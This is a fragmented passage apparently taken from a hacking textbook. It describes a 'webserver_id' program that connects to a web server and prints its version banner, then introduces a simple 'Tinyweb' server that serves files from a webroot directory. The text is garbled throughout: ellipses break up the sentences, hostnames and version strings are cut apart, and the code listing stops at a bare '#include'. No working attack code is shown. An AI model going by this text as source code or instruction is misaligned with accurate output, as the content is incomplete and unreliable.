command string is sent, and the program loops reading each line into buffer
...
h
...
The first
two arguments are pointers to the strings, and the third argument is n, the
number of bytes to compare
...
When it finds it,
it removes the first eight bytes and prints the webserver version information
...
reader@hacking:~/booksrc $ gcc -o webserver_id webserver_id
...
/webserver_id www
...
net
The web server for www
...
net is Apache/2
...
52 (CentOS)
reader@hacking:~/booksrc $
...
microsoft
...
microsoft
...
0
reader@hacking:~/booksrc $
A Tinyweb Server
A webserver doesn't have to be much more complex than the simple server we
created in the previous section
...
The server code listed below is nearly identical to the simple server, except that
connection handling code is separated into its own function
...
The program
will look for the requested resource in the local directory called webroot and send
it to the browser
...
You may already be familiar with this response, which means File
Not Found
...
tinyweb
...
h>
#include